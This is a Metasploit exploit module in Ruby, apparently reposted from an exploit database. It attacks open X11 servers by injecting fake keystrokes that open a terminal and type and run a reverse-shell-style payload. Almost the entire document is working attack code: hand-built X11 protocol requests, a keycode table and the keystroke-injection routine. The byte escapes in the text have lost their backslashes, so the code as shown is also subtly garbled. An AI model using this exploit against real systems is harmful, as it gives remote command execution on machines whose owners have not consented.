## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp KB_KEYS = { '1' => "x0a", '2' => "x0b", '3' => "x0c", '4' => "x0d", '5' => "x0e", '6' => "x0f", '7' => "x10", '&' => "x10", '8' => "x11", '9' => "x12", '(' => "x12", '0' => "x13", ')' => "x13", '-' => "x14", '=' => "x15", 'q' => "x18", 'w' => "x19", 'e' => "x1a", 'r' => "x1b", 't' => "x1c", 'y' => "x1d", 'u' => "x1e", 'i' => "x1f", 'o' => "x20", 'p' => "x21", '[' => "x22", '{' => "x22", ']' => "x23", '}' => "x23", 'a' => "x26", 's' => "x27", 'd' => "x28", 'f' => "x29", 'g' => "x2a", 'h' => "x2b", 'j' => "x2c", 'k' => "x2d", 'l' => "x2e", ';' => "x2f", ':' => "x2f", "'" => "x30", '"' => "x30", '`' => "x31", '~' => "x31", 'lshift' => "x32", '' => "x33", '|' => "x33", 'z' => "x34", 'x' => "x35", 'c' => "x36", 'v' => "x37", 'b' => "x38", 'n' => "x39", 'm' => "x3a", ',' => "x3b", '<' => "x3b", '.' => "x3c", '>' => "x3c", '/' => "x3d", '*' => "x3f", 'alt' => "x40", ' ' => "x41", 'f2' => "x44" } def initialize(info = {}) super(update_info(info, 'Name' => 'X11 Keyboard Command Injection', 'Description' => %q{ This module exploits open X11 servers by connecting and registering a virtual keyboard. The virtual keyboard is used to open an xterm or gnome terminal and type and execute the specified payload. }, 'Author' => [ 'xistence ' ], 'Privileged' => false, 'License' => MSF_LICENSE, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'gawk bash-tcp python netcat' } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'xterm (Generic)', {}], [ 'gnome-terminal (Ubuntu)', {}], ], 'DisclosureDate' => 'Jul 10 2015', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(6000), OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows in seconds', 5]) ], self.class) end def xkeyboard_key req = "" req << @xkeyboard_opcode req << "x05" # Extension minor: 5 (LatchLockState) req << "x04x00" # Request length: 4 req << "x00x01" # DeviceSpec: 0x0100 (256) req << "x00" # affectModLocks: 0 req << "x00" # modLocks: 0 req << "x01" # lockGroup: True req << "x00" # groupLock: 0 req << "x00" # affectModLatches: 0 req << "x00" # Unused req << "x00" # latchGroup: False req << "x00x00" # groupLatch: 0 req << "x00" # Undecoded return req end def press_key(key) req = xkeyboard_key req << @xtest_opcode req << "x02" # Extension minor: 2 (FakeInput) req << "x09x00" # Request length: 9 req << "x02" # Press key (Type: 2) req << key # What key to press req << "x04x00" # Unused? req << "x00x00x00x00" # Time req << "x00x00x00x00" # Root req << "x07x00x07x00" # Unused? req << "x88x04x02x00" # Unused? #req << "x00x01" # rootX: 256 #req << "xf5x05" # rootY: 1525 req << "x00x00" # rootX: 0 req << "x00x00" # rootY: 0 req << "x00x00x00x00" # Unused? req << "x00x00x00" # Unused? req << "x00" # deviceid: 0 req << xkeyboard_key req << "x2b" # Opcode 43: GetInputFocus req << "x00" # Unused req << "x01x00" # Request length: 1 sock.put(req) res = sock.get_once # Response should give 1 on first byte (Success) unless res && res[0,1] == "x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key} #{res.inspect}") end end def release_key(key) req = xkeyboard_key req << @xtest_opcode req << "x02" # Extension minor: 2 (FakeInput) req << "x09x00" # Request length: 9 req << "x03" # Release key (Type: 3) req << key # What key to release req << "x04x00" # Unused? req << "x00x00x00x00" # Time req << "x00x00x00x00" # Root req << "x07x00x07x00" # Unused? req << "x88x04x02x00" # Unused? #req << "x00x01" # rootX: 256 #req << "xf5x05" # rootY: 1525 req << "x00x00" # rootX: 0 req << "x00x00" # rootY: 0 req << "x00x00x00x00" # Unused? req << "x00x00x00" # Unused? req << "x00" # deviceid: 0 req << xkeyboard_key req << "x2b" # Opcode 43: GetInputFocus req << "x00" # Unused req << "x01x00" # Request length: 1 sock.put(req) res = sock.get_once # Response should give 1 on first byte (Success) unless res && res[0,1] == "x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key} #{res.inspect}") end end def type_command(command) # Specify the special keys which need to have shift pressed first to type specialkeys = '<>{}|"&()'.chars values = command.chars values.each do |value| key = KB_KEYS[value] # Special keys need a shift pressed to be typed if Regexp.union(specialkeys) =~ value press_key(KB_KEYS["lshift"]) # [lshift] press_key(key) release_key(KB_KEYS["lshift"]) release_key(key) # Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase elsif value =~ /[A-Z]/ press_key(KB_KEYS["lshift"]) # [lshift] press_key(KB_KEYS[value.downcase]) release_key(KB_KEYS["lshift"]) release_key(KB_KEYS[value.downcase]) # All normal keys which are not special keys or uppercase characters else press_key(key) release_key(key) end end # Send an enter press_key("x24") # [enter] release_key("x24") # [enter] end def send_msg(sock, data) sock.put(data) data = "" begin read_data = sock.get_once(-1, 1) while not read_data.nil? data << read_data read_data = sock.get_once(-1, 1) end rescue EOFError end data end def exploit begin connect print_status("#{rhost}:#{rport} - Register keyboard") req = "x6c" # Byte order (Little-Endian) req << "x00" # Unused req << "x0bx00" # Protocol major version: 11 req << "x00x00" # Protocol minor version: 0 req << "x00x00" # Authorization protocol name length: 0 req << "x00x00" # Authorization protocol data length: 0 req << "x00x00" # Unused # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res && res[0,1] == "x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed") end # Keyboard registration req = "x62" # Opcode 98: QueryExtension req << "x00" # Unused req << "x05x00" # Request length: 5 req << "x09x00" # Name length: 9 req << "x60x03" # Unused? req << "XKEYBOARD" # Name req << "x00x00x00" # Unused, padding? # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) if res && res[0,1] == "x01" @xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode else #puts res.inspect fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed") end req = "" req << @xkeyboard_opcode req << "x00" # Extension minor: 0 (UseExtension) req << "x02x00" # Request length: 2 req << "x01x00" # Wanted Major: 1 req << "x00x00" # Wanted Minor: 0 # Retrieve the whole X11 details response res = send_msg(sock,req) unless res && res[0,1] == "x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -") end req = "x62" # Opcode 98: QueryExtension req << "x00" # Unused req << "x06x00" # Request length: 6 req << "x0fx00" # Name length: 15 req << "x00x00" # Unused req << "XInputExtension" # Name req << "x00" # Unused, padding? # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res && res[0,1] == "x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed") end req = "x62" # Opcode 98: QueryExtension req << "x00" # Unused req << "x04x00" # Request length: 4 req << "x05x00" # Name length: 5 req << "x00x00" # Unused req << "XTEST" # Name req << "x00x00x00" # Unused, padding? # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) if res && res[0,1] == "x01" @xtest_opcode = res[9,1] # Retrieve the XTEST opcode else fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed") end req = "x62" # Opcode 98: QueryExtension req << "x00" # Unused req << "x08x00" # Request length req << "x17x00" # Name length req << "x00x00" # Unused req << "Generic Event Extension" # Name req << "x00" # Unused, padding? # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) if res && res[0,1] == "x01" @genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode else fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed") end req = "" req << @genericevent_opcode req << "x00" # Extension minor: 0 (QueryVersion) req << "x02x00" # Request length: 2 req << "x01x00" # Client major version: 1 req << "x00x00" # Client minor version: 0 # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res && res[0,1] == "x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed") end req = "" req << @xtest_opcode req << "x00" # Extension minor: 0 (GetVersion) req << "x02x00" # Request length: 2 req << "x02x00" # Major version: 2 req << "x02x00" # Minor version: 2 # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res && res[0,1] == "x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed") end req = "x65" # Opcode 101: GetKeyboardMapping req << "x00" # Unused req << "x02x00" # Request length: 2 req << "x08" # First keycode: 8 req << "xf8" # Count: 248 req << "x02x00" # Unused? # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res && res[0,1] == "x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed") end req = "" req << @xkeyboard_opcode req << "x08" # Extension minor: 8 (GetMap) req << "x07x00" # Request length: 7 req << "x00x01" # Device spec: 0x0100 (256) req << "x07x00" # Full: 7 req << "x00x00" # Partial: 0 req << "x00" # firsType: 0 req << "x00" # nTypes: 0 req << "x00" # firstKeySym: 0 req << "x00" # nKeySym: 0 req << "x00" # firstKeyAction: 0 req << "x00" # nKeysActions: 0 req << "x00" # firstKeyBehavior: 0 req << "x00" # nKeysBehavior: 0 req << "x00x00" # virtualMods: 0 req << "x00" # firstKeyExplicit: 0 req << "x00" # nKeyExplicit: 0 req << "x00" # firstModMapKey: 0 req << "x00" # nModMapKeys: 0 req << "x00" # firstVModMapKey: 0 req << "x00" # nVModMapKeys: 0 req << "x00x00" # Unused, padding? # Retrieve the whole X11 details response res = send_msg(sock,req) # Response should give 0x01 in first byte (Success) unless res && res[0,1] == "x01" fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed") end # Press ALT+F2 to start up "Run application" print_status("#{rhost}:#{rport} - Opening "Run Application"") press_key(KB_KEYS["alt"]) press_key(KB_KEYS["f2"]) release_key(KB_KEYS["alt"]) release_key(KB_KEYS["f2"]) # Wait X seconds to open the dialog print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...") Rex.sleep(datastore['TIME_WAIT']) if datastore['TARGET'] == 0 # Start a xterm terminal print_status("#{rhost}:#{rport} - Opening xterm") type_command("xterm") else # Start a Gnome terminal print_status("#{rhost}:#{rport} - Opening gnome-terminal") type_command("gnome-terminal") end print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...") # Wait X seconds to open the terminal Rex.sleep(datastore['TIME_WAIT']) # "Type" our payload and execute it print_status("#{rhost}:#{rport} - Typing and executing payload") command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit" type_command(command) handler rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e print_error("#{rhost}:#{rport} - #{e.message}") ensure disconnect end end end # Iranian Exploit DataBase = http://IeDb.Ir [2015-10-22]